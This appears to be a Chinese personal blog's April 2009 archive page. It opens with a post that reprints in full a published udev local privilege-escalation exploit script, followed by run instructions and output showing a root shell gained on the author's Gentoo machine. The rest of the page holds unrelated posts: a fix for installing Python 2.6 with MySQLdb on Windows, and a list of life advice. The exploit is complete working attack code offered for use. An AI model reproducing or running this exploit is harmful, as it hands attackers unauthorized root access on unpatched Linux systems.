月度存档: 四月 2009

gentoo udev提升权限漏洞- -!!

使用Gentoo操作系统并且udev版本在udev-124-r2版本以下的要小心了^^

http://www.gentoo.org/security/en/glsa/glsa-200904-18.xml

系统版本:  Gentoo 2008 amd64 system

最后一次emerge world时间:  2009.3.18

udev版本:  =sys-fs/udev-124-r1

攻击代码:

#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0

int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;

main(int argc, char **argv) {
        char sysfspath[SHORT_STRING];
        char subsystem[SHORT_STRING];
        char event[SHORT_STRING];
        char major[SHORT_STRING];
        char minor[SHORT_STRING];

        sprintf(event, "add");
        sprintf(subsystem, "block");
        sprintf(sysfspath, "/dev/foo");
        sprintf(major, "8");
        sprintf(minor, "1");

        memset(&address, 0, sizeof(address));
        address.nl_family = AF_NETLINK;
        address.nl_pid = atoi(argv[1]);
        address.nl_groups = 0;

        msg.msg_name = (void*)&address;
        msg.msg_namelen = sizeof(address);
        msg.msg_iov = &iovector;
        msg.msg_iovlen = 1;

        socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
        bind(socket_fd, (struct sockaddr *) &address, sizeof(address));

        char message[LONG_STRING];
        char *mp;

        mp = message;
        mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
        mp += sprintf(mp, "ACTION=%s", event) +1;
        mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
        mp += sprintf(mp, "MAJOR=%s", major) +1;
        mp += sprintf(mp, "MINOR=%s", minor) +1;
        mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
        mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;

        iovector.iov_base = (void*)message;
        iovector.iov_len = (int)(mp-message);

        char *buf;
        int buflen;
        buf = (char *) &msg;
        buflen = (int)(mp-message);

        sendmsg(socket_fd, &msg, 0);

        close(socket_fd);

	sleep(10);
	execl("/tmp/suid", "suid", (void*)0);
}

_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
 setgid(0);
 setuid(0);
 unsetenv("LD_PRELOAD");
 execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
       setgid(0); setuid(0);
       execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
# milw0rm.com [2009-04-20]

使用方法:  普通用户执行上面的shell脚本.

返回结果:

 X86-64  afc@chinabidi ~ $ ps aux | grep udevd
root     17497  0.0  0.0  12348   688 ?        S<s  23:12   0:00 /sbin/udevd --daemon
afc      17824  0.0  0.0   3908   584 pts/1    R+   23:13   0:00 grep --colour=auto udevd
 X86-64  afc@chinabidi ~ $ ./exploits.sh 17496
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.2#

你为啥每天都不精神点,每天都昏昏欲睡,东倒西歪的!

在Windows上安装Python2.6+MySQL-Python

Python 版本:2.6
下载地址:http://www.python.org/download/releases/2.6.1/
下载msi文件并安装

MySQLdb版本: MySQL-python-1.2.2.win32-py2.6.exe
下载地址:http://home.netimperia.com/files/misc/MySQL-python-1.2.2.win32-py2.6.exe
参见:http://sourceforge.net/forum/forum.php?thread_id=2316047&forum_id=70460

常见问题:
1.ImportError: DLL load failed: 找不到指定的模块。
—————————————————————————————————-
D:\Program Files\Python2.6>python
Python 2.6.1 (r261:67517, Dec  4 2008, 16:51:00) [MSC v.1500 32 bit (Intel)] on win32
Type “help”, “copyright”, “credits” or “license” for more information.
>>> import MySQLdb
Traceback (most recent call last):
  File “<stdin>”, line 1, in <module>
  File “D:\Program Files\Python2.6\Lib\site-packages\MySQLdb\__init__.py”, line 19, in <module>

    import _mysql
ImportError: DLL load failed: 找不到指定的模块。
—————————————————————————————————-
解决方法:下载libmmd.dll(附件)和libguide40.dll(附件)两个dll文件并复制到python安装目录的Lib\site-packages下。
参见:http://sourceforge.net/forum/message.php?msg_id=5613887

2.ImportError: DLL load failed: 找不到指定的模块。
—————————————————————————————————-
D:\Program Files\Python2.6>python
Python 2.6 (r26:66721, Oct  2 2008, 11:35:03) [MSC v.1500 32 bit (Intel)] on win32
Type “help”, “copyright”, “credits” or “license” for more information.
>>> import MySQLdb
D:\Program Files\Python2.6\lib\site-packages\MySQLdb\__init__.py:34: DeprecationWarning: the sets module is deprecated
  from sets import ImmutableSet
—————————————————————————————————-
解决方法:
1) file “__init__”, replace: 
 
from sets import ImmutableSet  
class DBAPISet(ImmutableSet):  
 
with  
 
class DBAPISet(frozenset) 
 
2) file “converters.py”, remove: 
 
from sets import BaseSet, Set 
 
3) file “converters.py”, change “Set” by “set” (IMPORTANT: only two places): 
 
line 48: return set([ i for i in s.split(',') if i ]) 
line 128: set: Set2Str, 
参见:http://sourceforge.net/forum/message.php?msg_id=5808948

附件:
libguide40.dll.zip(77.3 KB)
libmmd.dll.zip(169 KB)
libmySQL.dll.zip(861 KB)

 
原文: http://www.3gmatrix.cn/4/viewspace-16757.html

你这个骗子!

这是生活中的“潜规则”

1、朋友请你吃饭,不要觉得理所当然,请礼尚往来,否则你的名声会越来越臭。
2、给自己定目标,一年,两年,五年,也许你出生不如别人好,通过努力,往往可以改变70%的命运。破罐子破摔只能和懦弱做朋友。
3、这是个现实的社会,感情不能当饭吃,贫穷夫妻百事哀。不要相信电影,那只是个供许多陌生人喧嚣情感的场所。
4、好朋友里面,一定要培养出一个知己,不要以为你有多么八面玲珑,到处是朋友,最后真心对你的,只有一个,相信我
5、不要相信星座命理,那是哄小朋友的,命运在自己手中。难道你想等出栋房子或是车子?
6、不喜欢的人少接触,但别在背后说坏话,说是非之人,必定是是非之人,谨记,祸从口出。
7、少玩游戏,这不是韩国,你打不出房子车子还有女人。
8、学好英语,那些说学英语没用的暂时可以不去管,他们要么年纪大了,要么就是自己早过了CET6准备托福了,在这里哗众取宠。你可以不拿证,但一定要学好。
9、知道自己要干什么,夜深人静,问问自己,将来的打算,并朝着那个方向去实现。
10、偶尔翻翻时尚类的杂志,提高一下自己的品位。
11、每天早上一杯水,预防胆结石。睡前一小时不要喝水,否则会过早出现眼袋。
12、空闲时间不要全拿去泡BAR,读点文学作品,学习一些经营流程,管理规范,国际时事,法律常识。这能保证你在任何聚会都有谈资。
13、大家都年轻,没什么钱,不用太在意谁谁又穿AD ,NIKE ,或者其他。而GF对于PRADA,兰蔻,CD,LV,的热恋,你也不必放在心上,女人天生和美挂上了勾,她们只是宁愿相信你能够为她们买一样昂贵的礼物,以满足她们的虚荣心,然后在同伴面前炫耀一番。实则她们也是热爱生活的,而当你有能力完成时,也会觉得把她包装得漂漂亮亮的很是欣慰。
14、要做一件事,成功之前,没必要告诉其他人。
15、头发,指甲,胡子,打理好。社会是个排斥性的接受体,这个星球所需要的艺术家极其有限,请不要冒这个险,就算你留长头发比较好看,也要尽量给人干净的感觉。
16、不要以为你是个男人,就不需要保养。至少饮食方面不能太随便,多吃番茄,海产品,韭菜,香蕉,都是对男性健康有益处的食物。你要是看不到价值,我可以告诉你。至少你能把看病节约下来的钱给你的女人多买几个DIOR。
17、力求上进的人,不要总想着靠谁谁,人都是自私的,自己才是最靠得住的人。
18、面对失败,不要太计较,天将降大任于斯人也,必先苦其心志,劳其筋骨,饿起体肤。但要学会自责,找到原因,且改掉坏习惯。二十岁没钱,那很正常,三十岁没钱,那是宿命。